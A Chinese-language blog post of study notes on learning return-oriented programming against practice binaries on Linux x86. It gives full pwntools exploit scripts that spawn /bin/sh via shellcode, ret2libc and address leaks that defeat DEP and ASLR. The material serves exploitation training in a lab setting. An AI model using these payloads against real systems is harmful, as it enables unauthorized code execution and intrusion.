一步一步学ROP Linux x86

一步一步学ROP Linux x86 学习笔记
一、无任何防护
二、开启DEP
三、开启DEP和ASLR
四、开启DEP和ASLR,无libc

一步一步学ROP Linux x86 学习笔记

这部分文章主要依据的是蒸米大神的一步一步学ROP系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方。

一、无任何防护

在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp。

从最基础的开始,先学无任何防护的栈溢出。使用checksec看一下防护:

那就简单了,直接用shellcode打就可以,这里要注意一下覆盖的返回地址可以设置为buf的起始地址, 然后把shellcode放在buf里,但是这个buf的地址不能通过gdb直接调试得到,因为gdb调试会影响buf的位置,即使我们关闭了Linux的ASLR。根据蒸米的文章,就是开启core dump这个功能。

开启之后,当出现内存错误的时候,就会在tmp文件夹下生成一个core dump文件,然后用gdb加载调试就可以得到buf在内存中的固定地址:

然后就坑了,本地调试一直没有打通,使用socat放在远程,还是通过core dump得到远程buf地址,再用相同的exp打就成功了,exp如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. # p = process(‘./level1‘)
  4. p = remote(‘127.0.0.1‘,10008)
  5. ret = 0xffffcec0
  6. # execve ("/bin/sh")
  7. # xor ecx, ecx
  8. # mul ecx
  9. # push ecx
  10. # push 0x68732f2f ;; hs//
  11. # push 0x6e69622f ;; nib/
  12. # mov ebx, esp
  13. # mov al, 11
  14. # int 0x80
  15. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  16. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  17. shellcode += "\x0b\xcd\x80"
  18. payload = shellcode + ‘A‘ * (140 - len(shellcode)) + p32(ret)
  19. p.send(payload)
  20. p.interactive()

十分奇怪,,,

二、开启DEP

栈不可以执行,在Windows中DEP,在Linux中叫NX,看一下level2的保护:

栈不可以执行之后,shellcode就没法用了,所以考虑使用系统调用开一个shell。所以我们需要解决三件事:

· 获取system地址

· 获取参数/bin/sh地址

· 如何执行system函数

本题假设还是ASLR关闭的情况,所以system函数在内存中的地址是固定的,同时参数/bin/sh的地址也是固定的。通过peda插件,分别找到这两者的地址:

然后返回地址布置为system的内存中地址,给出exp:

  1. from pwn import *
  2. sh = process("./level2")
  3. systemaddr = 0xf7e31020
  4. binaddr = 0xf7f557cf
  5. junk = ‘a‘*136
  6. fakebp = ‘a‘*4
  7. shellcode = ""
  8. shellcode += junk+fakebp
  9. shellcode += p32(systemaddr)
  10. shellcode += p32(1111)
  11. shellcode += p32(binaddr)
  12. sh.send(shellcode)
  13. sh.interactive()

这次本地测试就拿到shell了,还是没有搞懂level1的本地测试失败的问题:

三、开启DEP和ASLR

开启ASLR之后,第二部分直接在内存中找system和参数地址的方法就无法使用了,不过总体思路还是执行system开一个shell。

思路是通过write函数泄露出write函数在内存中地址,然后根据libc计算出system在内存中的地址,参数地址可以通过同样的方法获取。然后布置返回地址为漏洞函数的地址(程序本身在内存中地址不是随机的),溢出两次,第二次实行system,获取shell,给出exp:

  1. from pwn import *
  2. # sh = process("./level2")
  3. sh = remote("127.0.0.1",10008)
  4. libc = ELF("libc.so")
  5. elf = ELF("level2")
  6. # offset
  7. readoffset = libc.symbols[‘read‘]
  8. writeoffset = libc.symbols[‘write‘]
  9. systemoffset = libc.symbols[‘system‘]
  10. binoffset = 0x0015F7CF
  11. # plt
  12. readplt = elf.plt[‘read‘]
  13. writeplt = elf.plt[‘write‘]
  14. # got
  15. readgot = elf.got[‘read‘]
  16. writegot = elf.got[‘write‘]
  17. # lead the address of write
  18. payload = ""
  19. vulfun = 0x8048436
  20. junk = ‘a‘*136
  21. fakebp = ‘a‘*4
  22. payload += junk + fakebp
  23. payload += p32(writeplt) + p32(vulfun) + p32(1) + p32(writegot) + p32(4)
  24. sh.send(payload)
  25. writeaddress = u32(sh.recv(4))
  26. # calc the system and /bin/sh
  27. systemadress = writeaddress - writeoffset + systemoffset
  28. binaddress = writeaddress - writeoffset + binoffset
  29. payload2 = ""
  30. payload2 += junk + fakebp
  31. payload2 += p32(systemadress) + p32(1) + p32(binaddress)
  32. sh.send(payload2)
  33. sh.interactive()

本地测试通过之后,试试远程打一下

通过socat命令:

  1. socat TCP4-LISTEN:10008,fork EXEC:./level2

同样成功:

四、开启DEP和ASLR,无libc

当开启DEP和ASLR,并且没有libc的时候,第三部的方法也不好使了,不过这种情况也是老套路了。

使用pwntools的DynELF去泄露system的内存地址,然后调用read函数想.bss段中写入"/bin/sh",然后调用system即可。

多说一下DynELF模块的使用方法吧,这是基本的模板:

  1. p = process(‘./xxx‘)
  2. def leak(address):
  3. #各种预处理
  4. payload = "xxxxxxxx" + address + "xxxxxxxx"
  5. p.send(payload)
  6. #各种处理
  7. data = p.recv(4)
  8. log.debug("%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)))
  9. return data
  10. d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
  11. systemAddress = d.lookup(‘system‘, ‘libc‘) #在libc文件中搜索system函数的地址

该模块是pwntools专门用来应对没有libc的情况的。

时间: 2024-10-21 06:25:28

一步一步学ROP Linux x86的相关文章

一步一步学ROP之linux_x64篇

一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等).上次我们主要讨论了linux_x86的ROP攻击:<一步一步学ROP之linux_x86篇>,在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习. 另外文中涉及代码可在我的github下载:https://githu

一步一步学ZedBoard &amp; Zynq(七):制作ZedBoard上linux根文件系统(ramdisk)

一步一步学ZedBoard & Zynq(七):制作ZedBoard上linux根文件系统(ramdisk) 网址:http://xilinx.eetrend.com/blog/3935 Digilent的OOB设计给出了一个ZedBoard上完整的运行的linux系统所需要的所有文件,包括配置FPGA的bit文件. 配置ARM PS系统的First-Stage boot loader(FSBL)和引导linux需要的Second-Stage boot loader(SSBL).Linux内核z

Linux C编程学习5---参考《那年,一步一步学linux c》全系列(目录索引)

漫无目的的搜索一些东西,发现的一个很好的资源,所以就一定要收藏下来,方便自己学习Linux C 的时候也能够去参考一下别人的学习之路,来更加促进我的学习和思考 说明 转载请注明出处:谢谢:http://blog.csdn.net/muge0913/article/details/7342977 博主的邮箱是:[email protected] 文章中若有不对或某些功能更好的实现方法,请指出或直接留言. 该系列文章中所用结构数据代码均来自linux2.6.39. 1.那年,一步一步学linux c

一步一步学ROP之linux_x86篇

0x00 本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章. 阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护),Memory Leak. 0x01 第一个问题:为什么要构造成"A"*140+ret字符串,这个140是怎么来的呢? 要回答这个问题,我们需要把level1.c反汇编,level1.c代码如下: #include <

【Linux】一步一步学Linux——Linux发展史(01)

目录 00. 目录 01. Linux概述 02. Linux简史 03. Linux主要特性 04. Linux之父 05. Linux相关术语 06. Linux其它 07. Linux应用领域 00. 目录 @ 01. Linux概述 Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系统.它能运行主要的UNIX工具软件.应用程序和网络协议.它支持32位和64位硬件.Linux继承了Unix以网络为核心的设计思

【Linux】一步一步学Linux——Linux系统目录详解(09)

目录 00. 目录 01. 文件系统介绍 02. 常用目录介绍 03. /etc目录文件 04. /dev目录文件 05. /usr目录文件 06. /var目录文件 07. /proc 08. 比较重要的一些目录 09. 参考 00. 目录 [Linux]一步一步学Linux系列教程:https://blog.csdn.net/dengjin20104042056/article/details/94669639 01. 文件系统介绍 Win和Linux文件系统区别 (了解) 在 window

Rhythmk 一步一步学 JAVA (21) JAVA 多线程

1.JAVA多线程简单示例 1.1 .Thread  集成接口 Runnable 1.2 .线程状态,可以通过  Thread.getState()获取线程状态: New (新创建) Runnable (可以运行) Blocked  (被阻塞) Waiting  (等待) Timed waiting (计时等待) Terminated  (被终止) ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

在Linux上安装Oracle RAC 12 c(12.1) 虚拟机,一步一步向导

Oracle RAC 12 c(12.1)在Linux上安装虚拟机,一步一步向导 今天我们将看到如何安装 12 c版本1 RAC(真正的应用程序集群)数据库2 Linux 64位的虚拟机 使用VMWare或Oracle VirtualBox. 甲骨文的“c”12 c代表“ 云 ” 有一些重要和有趣的变化时安装12 c相比11 g RAC. 甲骨文似乎增加了很多新的有趣的特性在12摄氏度. 请注意,我们需要2虚拟机各有3 GB内存. 所以如果你有足够的记忆你的笔记本电脑/ PC机或服务器上,那么你

【DG】[三思笔记]一步一步学DataGuard

[DG][三思笔记]一步一步学DataGuard 它有无数个名字,有人叫它dg,有人叫它数据卫士,有人叫它data guard,在oracle的各项特性中它有着举足轻理的地位,它就是(掌声)......................Oracle Data Guard.而对于我而言,我一定要亲切的叫它:DG(注:主要是因为打着方便). 不少未实际接触过dg的初学者可能会下意识以为dg是一个备份恢复的工具.我要说的是,这种形容不完全错,dg拥有备份的功能,某些情况下它甚至可以与primary数据库